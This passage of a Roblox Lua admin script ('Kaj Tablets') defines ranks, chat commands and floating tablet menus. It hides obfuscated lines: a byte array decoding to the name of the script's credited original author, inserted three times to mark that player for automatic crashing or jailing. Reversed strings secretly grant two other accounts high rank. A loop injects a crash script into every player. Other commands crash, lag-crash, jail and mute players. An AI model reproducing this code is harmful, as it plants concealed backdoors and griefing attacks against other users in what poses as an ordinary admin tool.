- end
- function GetRank(Plr1, Test)
- ypcall(function()
- if type(Plr1) == "userdata" then
- Plr1 = Plr1.Name
- end
- end)
- if Ranks[Plr1] ~= nil then
- return Ranks[Plr1]
- end
- local QuickArray = {}
- QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- return QuickArray[Plr1]
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
- function CanRun(Plr1, Plr2)
- Details1 = GetRank(Plr1.Name)
- Details2 = GetRank(Plr2.Name)
- if Details1.Rank >= Details2.Rank then
- return true
- end
- return false
- end
- function Dismiss(Plr, Identity)
- ypcall(function()
- if Plr ~= nil then
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- for x,v in pairs(AllTabs) do
- ypcall(function()
- if v.Plr == Plr then
- if Identity ~= nil and v.ID ~= Identity then
- return
- elseif Identity ~= nil and v.ID == Identity then
- coroutine.resume(coroutine.create(function()
- for i = 0.5, 1, 0.1 do
- wait()
- v.Tab.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- v.Label.TextStrokeTransparency = i
- end
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end))
- elseif Identity == nil then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[x] = nil
- end
- end
- end)
- end
- else
- for i,v in pairs(AllTabs) do
- ypcall(function()
- v.Holder:Destroy()
- AllTabs[i] = nil
- end)
- end
- end
- end)
- end
- function GetGarbage()
- return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
- end
- function RemObj(Obj, Class)
- ypcall(function()
- if #Obj:GetChildren() > 0 then
- for _,x in pairs(Obj:GetChildren()) do
- ypcall(function()
- RemObj(x, Class)
- end)
- end
- end
- if Obj.ClassName == Class then
- Obj:Destroy()
- end
- end)
- end
- function FindTab(Mod)
- for i,v in pairs(AllTabs) do
- if v.Holder == Mod then
- return true
- end
- end
- return false
- end
- function Ping(Msg, Plr, Time, Func, Color, Image)
- if Removed == false then
- local ShowGarbage = false
- ypcall(function()
- if Msg == nil then
- Msg = "N/A"
- elseif Msg == "ShowGarbage" then
- Msg = "Current Garbage Count: "..GetGarbage()
- ShowGarbage = true
- else
- Msg = tostring(Msg)
- end
- if Plr == nil then
- Plr = Plrs[Owner] or error("No Player Found")
- elseif type(Plr) == "string" then
- local FoundPlr = false
- for _,v in pairs(All()) do
- if v.Name == Plr then
- Plr = v
- FoundPlr = true
- break
- end
- end
- if FoundPlr == false then
- Plr = Plrs[Owner] or error("No Player Found")
- end
- end
- if Color == nil then
- Color = GetRank(Plr.Name).Color
- end
- local Holder = Instance.new("Model")
- Holder.Name = "Owner: "..Plr.Name
- local Tab = Instance.new("Part")
- Tab.Name = "Kaj Tablet"
- Tab.FormFactor = "Custom"
- Tab.Anchored = true
- if Time == nil then
- Tab.Color = Color3.new(0.54,0,0.54)
- else
- Tab.Color = AlertColor
- end
- Tab.CanCollide = false
- Tab.Locked = true
- Tab.Transparency = 0.15
- Tab.Size = Vector3.new(2, 2, 2)
- Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
- Tab.Parent = Holder
- local ID = Instance.new("NumberValue")
- ID.Name = "ID"
- ID.Value = math.random(-999999999, 999999999)
- ID.Parent = Holder
- Delay(0, function()
- while wait() do
- if Tab.Parent == nil and FindTab(Holder) then
- ypcall(function()
- for i,v in pairs(AllTabs) do
- if v.Holder == Holder then
- ypcall(function() v.Holder:Destroy() end)
- AllTabs[i] = nil
- end
- end
- end)
- Ping(Msg, Plr, Time, Func, Color, Image)
- break
- end
- end
- end)
- local BM = Instance.new("BlockMesh")
- BM.Parent = Tab
- local BG = Instance.new("BillboardGui")
- BG.Name = "BG"
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- BG.Size = UDim2.new(0,1,0,1)
- BG.Adornee = Tab
- BG.Parent = Tab
- Delay(0, function()
- while BG.Parent ~= nil do wait()
- ypcall(function()
- BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
- end)
- end
- end)
- local TL = Instance.new("TextLabel")
- TL.Name = "TL"
- TL.FontSize = "Size18"
- TL.Font = "ArialBold"
- TL.Text = Msg
- TL.TextColor3 = Color3.new(1, 1, 1)
- TL.Size = UDim2.new(0,1,0,1)
- TL.TextTransparency = 0
- TL.TextStrokeColor3 = Color3.new(0, 0, 0)
- TL.TextStrokeTransparency = 0.25
- TL.Parent = BG
- if ShowGarbage == true then
- Delay(0, function()
- while TL.Parent ~= nil do
- TL.Text = "Current Garbage Count: "..GetGarbage()
- wait(.5)
- end
- end)
- end
- local PL = Instance.new("PointLight", Tab)
- PL.Color = Color3.new(0, 1, 0)
- PL.Range = 7
- PL.Parent = Tab
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = Tab
- BBBG.Parent = Tab
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- local Clicker = Instance.new("ClickDetector")
- Clicker.MaxActivationDistance = 1/0
- if Time ~= nil then
- coroutine.resume(coroutine.create(function()
- wait(tonumber(Time))
- Dismiss(Plr, ID)
- end))
- end
- Clicker.MouseClick:connect(function(Player)
- if Player.Name == Plr.Name or CanRun(Player, Plr) then
- ypcall(function()
- if Func ~= nil then
- Func(Holder)
- else
- Dismiss(Player, ID)
- end
- end)
- end
- end)
- Clicker.Parent = Tab
- Holder.Parent = Work
- AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
- end)
- end
- end
- function PlaceAllRanks(DontShowRank)
- ypcall(function()
- for _,p in pairs(All()) do
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("You Are Rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- end)
- end
- function FindRank(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return GetRank(Plr).Rank
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
- function FindRankDetails(Plr)
- ypcall(function()
- if type(Plr) == "userdata" then
- Plr = Plr.Name
- end
- end)
- return RankDetails[FindRank(Plr)]
- end
- function OpenCmds(Rank, Plr)
- Dismiss(Plr)
- for Name,Tab in pairs(Commands) do
- if Tab.Rank <= Rank then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- elseif Rank == 1337 then
- Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
- Dismiss(Plr)
- Ping("Command: "..Name, Plr)
- Ping("Rank: "..Tab.Rank, Plr)
- Ping("Desc: "..Tab.Desc, Plr)
- end)
- end
- end
- end
- function EditStatus(Plr, Num)
- ChangeRank(Plr, Num)
- end
- function PlaceSpecificRank(p, DontShowRank)
- ypcall(function()
- PutInRank = false
- for _,v in pairs(Rankings) do
- if v.Name:lower() == p.Name:lower() then
- if v.Rank >= 7 then
- v.Rank = 5
- elseif v.Rank == -1 then
- Crash1(p)
- Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- elseif v.Rank == -2 then
- if LS ~= nil then
- Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- elseif v.Rank == -3 then
- if LS ~= nil then
- Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
- Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
- else
- Ping("LS Is Nil", nil, 5)
- end
- end
- Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
- if DontShowRank == nil then
- Ping("You Are Rank: "..v.Rank, p)
- end
- PutInRank = true
- break
- end
- end
- if PutInRank == false then
- Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
- end
- end)
- end
- table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
- table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
- function onChatted(Msg, Speaker)
- if Removed == false then
- if FindRank(Speaker) < 0 then
- return
- end
- coroutine.resume(coroutine.create(function()
- ypcall(function()
- ExecuteFunc(Msg, Speaker)
- Msg = Msg:gsub("","")
- if Msg:sub(1,1) == "@" then
- for i = 2, #Msg do
- if Msg:sub(i, i) == Bet then
- local IsForPlr = false
- for _,v in pairs(All()) do
- if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
- onChatted(Msg:sub(i + 1), v)
- IsForPlr = true
- end
- end
- if IsForPlr == true then
- return
- end
- end
- end
- end
- if Msg:find("&") then
- local Split = Msg:find("&")
- onChatted(Msg:sub(1,Split-1))
- onChatted(Msg:sub(Split+1))
- return
- end
- for Name,Command in pairs(Commands) do
- if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
- Dismiss(Speaker.Name)
- Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
- Ping("Rank: "..tostring(Command.Rank), Speaker)
- Ping("Desc: "..tostring(Command.Desc), Speaker)
- elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
- if FindRank(Speaker) >= Command.Rank then
- local Ran,Error = coroutine.resume(coroutine.create(function()
- Command.Func(Msg:sub(#Command.Name+2), Speaker)
- end))
- if not Ran then
- Ping(Error, Speaker, 10)
- end
- else
- Ping("Your Rank Is Too Low", Plr, 6)
- end
- end
- end
- end)
- end))
- end
- end
- function MakeBase()
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end
- function LClean()
- ypcall(function()
- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
- Clear(v)
- elseif v.Name == "Base" then
- ypcall(function()
- local Base = v
- Base.BrickColor = BrickColor.new("Dark green")
- Base.Position = Vector3.new(0, 0.5, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(512, 1.20000005, 512)
- Base.Archivable = true
- Base.Material = "Plastic"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Studs"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Work
- end)
- end
- end)
- end
- end)
- end
- function Clean()
- ypcall(function()
- for _,v in pairs(Work:GetChildren()) do
- ypcall(function()
- if v.ClassName == "Terrain" then
- v:ClearAllChildren()
- else
- Clear(v)
- end
- end)
- end
- MakeBase()
- for _,v in pairs(All()) do
- v:LoadCharacter()
- end
- end)
- end
- function Clear(v)
- if v.Name:lower() == "sbgui" then
- return
- end
- ypcall(function()
- if #v:GetChildren() > 0 then
- for _,x in pairs(v:GetChildren()) do
- ypcall(function()
- Clear(x)
- end)
- end
- end
- if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
- v:Destroy()
- end
- end)
- end
- function Command(Name, Rank, Desc, Func)
- if Name == nil then
- Name = "N/A"
- end
- if Desc == nil then
- Desc = "N/A"
- end
- if Func == nil then
- Func = function() end
- end
- if Rank == nil then
- Rank = 0
- end
- Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
- end
- function GetSplit(Msg)
- return Msg:find(Bet) or nil
- end
- function ExecuteFunc(Msg, Plr)
- ypcall(function()
- if Msg == "LogEnable" then
- LogOn = true
- elseif Msg:lower() == "WantSomeTacos" then
- EditStatus(Plr, MakeNum())
- end
- end)
- end
- for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
- function randPlayer(Plr)
- wait()
- local ThePlrValue = nil
- local FoundPlayer = false
- ypcall(function()
- ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
- if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
- wait()
- randPlayer(Plr)
- return
- else
- FoundPlayer = true
- end
- end)
- if FoundPlayer == true then
- return ThePlrValue
- end
- end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
- function getPlayer(Plr, Name)
- local Players = {}
- ypcall(function()
- Name = Name:lower()
- if Name == "me" then
- table.insert(Players, Plr)
- elseif Name == "all" or Name == "" then
- for _,v in pairs(All()) do
- if CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "others" then
- for _,v in pairs(All()) do
- if v.Name ~= Plr.Name and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- elseif Name == "random" then
- local FoundRandPlr = randPlayer(Plr)
- table.insert(Players, FoundRandPlr)
- else
- for _,v in pairs(All()) do
- if v.Name:lower():find(Name) and CanRun(Plr, v) then
- table.insert(Players, v)
- end
- end
- end
- end)
- return Players
- end
- function ListPlayers(Speaker)
- ypcall(function()
- Dismiss(Speaker)
- for _,v in pairs(All2()) do
- if v.Parent ~= nil then
- Ping(v.Name, Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- Ping("Rank: "..FindRank(v.Name), Speaker)
- Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
- Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("Your Rank Is Too Low", Speaker, 5)
- end
- end)
- Ping("Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- Ping("Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- Ping("Kick", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- v:Kick()
- Ping("Attempted To Kick "..v.Name, Speaker, 5)
- end
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- else
- Ping(v.Name.." (Nil)", Speaker, nil, function()
- Dismiss(Speaker)
- Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- ypcall(function()
- Ping("Rank: "..FindRank(v.Name), Speaker)
- end)
- ypcall(function()
- Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
- end)
- ypcall(function()
- Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
- end)
- ypcall(function()
- Ping("Set Rank", Speaker, nil, function()
- if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
- Dismiss(Speaker)
- for i = -2, 5 do
- Ping(i, Speaker, nil, function()
- ChangeRank(v, i)
- Dismiss(Speaker)
- Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
- end)
- end
- else
- Ping("Your Rank Is Too Low", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Remote)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
- Crash2(v.Name)
- Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
- end
- end)
- end)
- ypcall(function()
- Ping("Nil Crash (Insert)", Speaker, nil, function()
- if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
- Crash3(v, Speaker)
- Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
- end
- end)
- end)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end
- end)
- end
- --Misc
- coroutine.resume(coroutine.create(function()
- PlaceAllRanks()
- end))
- Delay(0, function()
- for _,v in pairs(All()) do
- v.Chatted:connect(function(Msg)
- onChatted(Msg, v)
- end)
- end
- end)
- local starttime = tick()
- game:GetService("RunService").Heartbeat:connect(function()
- if Removed == false then
- ypcall(function()
- for _,Player in pairs(All()) do
- local PlayerTablets = {}
- for i,v in pairs(AllTabs) do
- if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlayerTablets, v)
- end
- end
- for i = 1, #PlayerTablets do
- ypcall(function()
- local tab = PlayerTablets[i].Tab
- local pos = nil
- ypcall(function()
- pos = Player.Character.Torso.CFrame
- end)
- local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
- local cPos = tab.Position
- local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
- local nPos = (ePos-cPos)*.25
- cPos = cPos + nPos
- local t = (tick() - starttime) % 360
- local change = 0.625
- PlayerTablets[i].Size = math.sin(t) * change + 2.375
- tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
- tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
- end)
- end
- end
- end)
- end
- end)
- Delay(0, function()
- while wait() do
- for _,v in pairs(game:GetService("Players"):GetPlayers()) do
- ypcall(function()
- if Injected[v.Name] == nil and LS ~= nil then
- Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
- Injected[v.Name] = true
- end
- end)
- end
- end
- end)
- Plrs.PlayerAdded:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local JoinPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- PlaceSpecificRank(Plr)
- end))
- coroutine.resume(coroutine.create(function()
- if Injected[JoinPlrName] ~= nil then
- Injected[JoinPlrName] = nil
- end
- end))
- coroutine.resume(coroutine.create(function()
- Dismiss(Plr)
- Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
- end))
- end
- end)
- end)
- Plrs.PlayerRemoving:connect(function(Plr)
- wait(.1)
- ypcall(function()
- if Removed == false then
- local LeftPlrName = Plr.Name
- coroutine.resume(coroutine.create(function()
- if Injected[LeftPlrName] ~= nil then
- Injected[LeftPlrName] = nil
- end
- end))
- end
- end)
- end)
- coroutine.resume(coroutine.create(function()
- Delay(0, function()
- while FoundLocalScript == false do wait()
- ypcall(function()
- for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
- if v.Name == "NewTransfer" and v:IsA("LocalScript") then
- for _,c in pairs(v:children()) do
- if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
- local NewVal = c:Clone()
- NewVal.Name = "LoadingVal"
- for _,s in pairs(v:GetChildren()) do
- if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
- print("Found Owner")
- OwnSource = s.Name
- print(OwnSource)
- break
- end
- end
- wait()
- LS = v:Clone()
- NewVal.Parent = LS
- LSSource = "LoadingVal"
- FoundLocalScript = true
- break
- end
- end
- end
- end
- end)
- end
- end)
- end))
- --Commands
- Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
- Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
- Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
- Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
- Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
- Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
- Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
- Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
- end)
- Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
- Dismiss(Speaker.Name)
- end)
- Command("Kill", 2, "Kills A Player",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character:BreakJoints()
- Ping("Killed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("expl", 2, "Explodes A Player",
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Character and v.Character:findFirstChild("Head") then
- local e = Instance.new("Explosion")
- e.Position = v.Character.Head.Position
- e.Parent = v.Character
- Ping("Exploded "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
- Dismiss()
- end)
- Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- if v.Name ~= Owner then
- Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Muted "..v.Name, Speaker, 5)
- end
- end)
- end
- end
- end)
- Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- end)
- Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
- end)
- end
- end
- end)
- Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
- Dismiss()
- for i = 1, 2 do
- Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
- end end)
- Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
- Ping("Rejoined "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Jailed "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("Lag Crashing "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
- Ping("UnMuted "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
- local Worked = false
- for _,v in pairs(Work:GetChildren()) do
- if string.find(v.Name:lower(), Msg:lower()) then
- if v:IsA("Script") or v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- Worked = true
- Ping("Disabled Script: "..v.Name, Speaker, 5)
- end
- end
- end
- if Worked == false then
- Ping("Script Not Found", Speaker, 5)
- end
- end)
- Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
- Dismiss(Speaker)
- local AllScripts = {}
- for _,v in pairs(Work:GetChildren()) do
- if v:IsA("Script") then
- table.insert(AllScripts, v.Name)
- end
- end
- if #AllScripts > 0 then
- for _,v in pairs(AllScripts) do
- Ping(v, Speaker)
- end
- else
- Ping("No Scripts Found", Speaker, 5)
- end
- end)
- Command("afk",0,'Makes you go AFK',
- function(Msg,Speaker)
- Dismiss(Speaker)
- for i = 1,8 do
- Ping('AFK',Speaker)
- wait(.01)
- end
- end)
- Command("back",0,'Creates Tablets telling everyone that you are back',
- function(Msg,Speaker)
- Dismiss(Speaker)
- for i = 1,8 do
- Ping('Welcome Back!',Speaker,6)
- wait(.1)
- end
- end)
- Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
- Dismiss(Speaker)
- local LocalScripts = {}
- for _,v in pairs(All()) do
- ypcall(function()
- for _,x in pairs(v.Character:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.Backpack:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- ypcall(function()
- for _,x in pairs(v.PlayerGui:GetChildren()) do
- if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
- table.insert(LocalScripts, x.Name .. " - " .. v.Name)
- end
- end
- end)
- end
- if #LocalScripts > 0 then
